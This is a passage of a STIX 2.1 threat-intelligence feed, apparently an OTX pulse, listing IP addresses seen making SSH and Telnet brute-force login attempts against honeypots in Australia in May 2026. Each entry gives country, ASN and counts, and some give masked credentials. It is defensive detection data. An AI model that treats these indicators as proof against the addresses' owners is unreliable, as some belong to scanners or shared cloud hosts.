      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T10:15:11.000Z",
      "valid_until": "2026-06-24T10:15:08.000Z"
    },
    {
      "created": "2026-05-23T10:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--947d4c77-dd0e-4507-b065-3a7d50271c2c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T10:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '119.100.102.248']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T10:15:11.000Z",
      "valid_until": "2026-06-24T10:15:08.000Z"
    },
    {
      "created": "2026-05-23T10:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: IT. ASN(s): 1267. Organisation(s): Wind Tre S.p.A..",
      "id": "indicator--df5f048d-75bd-40e5-b3be-c1b745881b74",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T10:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '151.75.124.55']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T10:15:11.000Z",
      "valid_until": "2026-06-24T10:15:08.000Z"
    },
    {
      "created": "2026-05-23T10:15:11.000Z",
      "description": "Attacker IP - SSH & Telnet / Observed authentication attempts via ssh, telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie. Target ports: 22, 23. Source country: NL. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): G************1, U*******************************x. Passwords observed (masked): A**********, H**********************3.",
      "id": "indicator--c6a9f83c-bf8e-4dba-8b52-01c70f4d766d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T10:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '167.172.39.154']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T10:15:11.000Z",
      "valid_until": "2026-06-24T10:15:08.000Z"
    },
    {
      "created": "2026-05-23T10:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--91d02eca-252b-4ba1-99a1-d9fca024b0b5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T10:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '171.114.225.247']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T10:15:11.000Z",
      "valid_until": "2026-06-24T10:15:08.000Z"
    },
    {
      "created": "2026-05-23T10:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--de2157c7-6001-4454-8dc3-9c10307921fd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T10:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '171.114.227.11']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T10:15:11.000Z",
      "valid_until": "2026-06-24T10:15:08.000Z"
    },
    {
      "created": "2026-05-23T10:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 22085. Organisation(s): Claro SA.",
      "id": "indicator--7d5ec07f-b1cf-46c6-9c5b-9f83a17b1b68",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T10:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '179.243.248.185']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T10:15:11.000Z",
      "valid_until": "2026-06-24T10:15:08.000Z"
    },
    {
      "created": "2026-05-23T10:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--b123ced4-a4a5-414d-8376-481ec094b8d5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T10:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.89']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T10:15:11.000Z",
      "valid_until": "2026-06-24T10:15:08.000Z"
    },
    {
      "created": "2026-05-23T10:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 137266. Organisation(s): CHINATELECOM Hubei province Wuhan 5G network.",
      "id": "indicator--5abdcbd8-3602-456e-87ec-7f1b5da0ec02",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T10:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '27.17.197.119']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T10:15:11.000Z",
      "valid_until": "2026-06-24T10:15:08.000Z"
    },
    {
      "created": "2026-05-23T10:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--ed661706-d143-40d3-aea1-3ef3b480f541",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T10:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '27.8.164.126']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T10:15:11.000Z",
      "valid_until": "2026-06-24T10:15:08.000Z"
    },
    {
      "created": "2026-05-23T10:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 142. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GH. ASN(s): 37613. Organisation(s): Dolphin-Telecom-AS. Usernames observed (masked): r**t, 3**********4, a***e, ***, ***. Passwords observed (masked): 1****6, 3***********4, 3**********4, A********., P******d.",
      "id": "indicator--86ede977-669f-470f-96d0-fe862c8e63d2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T10:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '41.242.115.83']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T10:15:11.000Z",
      "valid_until": "2026-06-24T10:15:08.000Z"
    },
    {
      "created": "2026-05-23T10:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--50e120d5-79c7-4d88-b537-f6b18c6425ac",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T10:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '42.100.23.95']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T10:15:11.000Z",
      "valid_until": "2026-06-24T10:15:08.000Z"
    },
    {
      "created": "2026-05-23T10:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: GB. ASN(s): 6871. Organisation(s): British Telecommunications PLC.",
      "id": "indicator--72eef685-b011-48c6-ba84-553ec83370cf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T10:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '51.7.9.104']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T10:15:11.000Z",
      "valid_until": "2026-06-24T10:15:08.000Z"
    },
    {
      "created": "2026-05-23T10:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--44e798e3-85b3-475d-8af7-15503e22cf5c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T10:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '58.47.109.81']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T10:15:11.000Z",
      "valid_until": "2026-06-24T10:15:08.000Z"
    },
    {
      "created": "2026-05-23T10:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--9525cd3f-a376-4380-988d-afaf37bfeceb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T10:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '66.132.172.97']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T10:15:11.000Z",
      "valid_until": "2026-06-24T10:15:08.000Z"
    },
    {
      "created": "2026-05-23T10:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: GB. ASN(s): 206067. Organisation(s): Three.",
      "id": "indicator--552b617f-0226-403e-88ca-cde1bef5b4b6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T10:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '94.197.114.28']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T10:15:11.000Z",
      "valid_until": "2026-06-24T10:15:08.000Z"
    },
    {
      "created": "2026-05-23T11:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BD. ASN(s): 139762. Organisation(s): Solution.",
      "id": "indicator--79b917fb-8fe5-4f72-948f-e79464f17a8a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T11:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.144.201.32']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T11:15:05.000Z",
      "valid_until": "2026-06-24T11:15:03.000Z"
    },
    {
      "created": "2026-05-23T11:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 133662. Organisation(s): SHREENET.",
      "id": "indicator--2f1d4977-d631-43c6-8ee1-d46109b352b6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T11:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.203.66.121']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T11:15:05.000Z",
      "valid_until": "2026-06-24T11:15:03.000Z"
    },
    {
      "created": "2026-05-23T11:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--0a494181-1087-461b-bf53-e9bb5155eff4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T11:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '104.248.32.112']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T11:15:05.000Z",
      "valid_until": "2026-06-24T11:15:03.000Z"
    },
    {
      "created": "2026-05-23T11:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--f553053e-75ec-4db6-9411-668deba33cae",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T11:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '112.103.61.161']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T11:15:05.000Z",
      "valid_until": "2026-06-24T11:15:03.000Z"
    },
    {
      "created": "2026-05-23T11:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--fa09da89-9a03-4455-bf56-d57638571799",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T11:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '113.221.24.153']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T11:15:05.000Z",
      "valid_until": "2026-06-24T11:15:03.000Z"
    },
    {
      "created": "2026-05-23T11:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--e68f063e-8549-4616-acb9-99068226a8f6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T11:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '113.221.27.22']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T11:15:05.000Z",
      "valid_until": "2026-06-24T11:15:03.000Z"
    },
    {
      "created": "2026-05-23T11:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--c9e2d632-6856-475a-a2c1-0a7bdfc405d6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T11:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '114.138.104.214']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T11:15:05.000Z",
      "valid_until": "2026-06-24T11:15:03.000Z"
    },
    {
      "created": "2026-05-23T11:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--3c556451-b842-4528-a991-a92f41838828",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T11:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '119.100.146.246']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T11:15:05.000Z",
      "valid_until": "2026-06-24T11:15:03.000Z"
    },
    {
      "created": "2026-05-23T11:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--26498715-131a-4088-82a6-d8aabf1784c7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T11:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '123.169.104.128']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T11:15:05.000Z",
      "valid_until": "2026-06-24T11:15:03.000Z"
    },
    {
      "created": "2026-05-23T11:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--a2ae3a92-b8f5-48a1-a2ff-0003af430e48",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T11:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '123.169.127.30']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T11:15:05.000Z",
      "valid_until": "2026-06-24T11:15:03.000Z"
    },
    {
      "created": "2026-05-23T11:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: HK. ASN(s): 9231. Organisation(s): China Mobile Hong Kong Company Limited.",
      "id": "indicator--a2fba01d-0ab9-4fe1-8d3b-a67bcd630b4b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T11:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '161.81.121.228']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T11:15:05.000Z",
      "valid_until": "2026-06-24T11:15:03.000Z"
    },
    {
      "created": "2026-05-23T11:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 150436. Organisation(s): Byteplus Pte. Ltd.. Usernames observed (masked): r**t. Passwords observed (masked): Q*******5, q********..",
      "id": "indicator--a2ddacd9-a195-4a39-a8e3-9aa05b8634b9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T11:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '163.7.0.179']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T11:15:05.000Z",
      "valid_until": "2026-06-24T11:15:03.000Z"
    },
    {
      "created": "2026-05-23T11:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--0f91fe28-1627-4a59-bca7-5ca322c4ac2b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T11:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '180.116.147.100']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T11:15:05.000Z",
      "valid_until": "2026-06-24T11:15:03.000Z"
    },
    {
      "created": "2026-05-23T11:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 27889. Organisation(s): Telecomunicaciones MOVILNET.",
      "id": "indicator--fdfdb5ae-a4cb-457b-b020-50132e70011a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T11:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '181.17.170.96']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T11:15:05.000Z",
      "valid_until": "2026-06-24T11:15:03.000Z"
    },
    {
      "created": "2026-05-23T11:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: HK. ASN(s): 9231. Organisation(s): China Mobile Hong Kong Company Limited.",
      "id": "indicator--8afa4066-2cf0-4d6c-a914-0a2ab8e793e9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T11:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '182.239.80.66']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T11:15:05.000Z",
      "valid_until": "2026-06-24T11:15:03.000Z"
    },
    {
      "created": "2026-05-23T11:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 118. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: UZ. ASN(s): 8193. Organisation(s): Uzbektelekom Joint Stock Company. Usernames observed (masked): r**t, 3**********4, a******n, a***t, m***l. Passwords observed (masked): 1****3, 3***********4, 3**********4, A********, P********1.",
      "id": "indicator--64aa268b-fc47-4ed1-aa0e-189e0c64ef67",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T11:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '185.203.236.212']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T11:15:05.000Z",
      "valid_until": "2026-06-24T11:15:03.000Z"
    },
    {
      "created": "2026-05-23T11:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 100. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VE. ASN(s): 8048. Organisation(s): CANTV Servicios, Venezuela. Usernames observed (masked): r**t, 3**********4, p***r, s****y. Passwords observed (masked): 1**4, 3***********4, 3**********4, P******3, Q**********3.",
      "id": "indicator--88dd5c31-a5b1-4ebb-9faf-d5304f7d0e35",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T11:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '201.249.87.201']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T11:15:05.000Z",
      "valid_until": "2026-06-24T11:15:03.000Z"
    },
    {
      "created": "2026-05-23T11:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 113. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RU. ASN(s): 9123. Organisation(s): Jsc timeweb. Usernames observed (masked): f****e, r**t, 3**********4, a***********r, m***a. Passwords observed (masked): 1******8, 3***********4, 3**********4, N***3, O*********4.",
      "id": "indicator--42bad659-02d2-430b-9146-475d5ac13b0a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T11:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '213.171.9.168']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T11:15:05.000Z",
      "valid_until": "2026-06-24T11:15:03.000Z"
    },
    {
      "created": "2026-05-23T11:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--946b1294-581f-452c-a13c-cceb636a7d61",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T11:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '222.246.108.216']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T11:15:05.000Z",
      "valid_until": "2026-06-24T11:15:03.000Z"
    },
    {
      "created": "2026-05-23T11:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 36. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 138423. Organisation(s): CMPak Limited.",
      "id": "indicator--00dd2ae3-1140-4743-943b-71b0721f158e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T11:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '223.123.125.14']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T11:15:05.000Z",
      "valid_until": "2026-06-24T11:15:03.000Z"
    },
    {
      "created": "2026-05-23T11:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: CA. ASN(s): 46920. Organisation(s): RF Now Inc..",
      "id": "indicator--d917092e-859f-4991-b5f3-5d1c81b9c4d3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T11:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '23.175.128.210']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T11:15:05.000Z",
      "valid_until": "2026-06-24T11:15:03.000Z"
    },
    {
      "created": "2026-05-23T11:15:05.000Z",
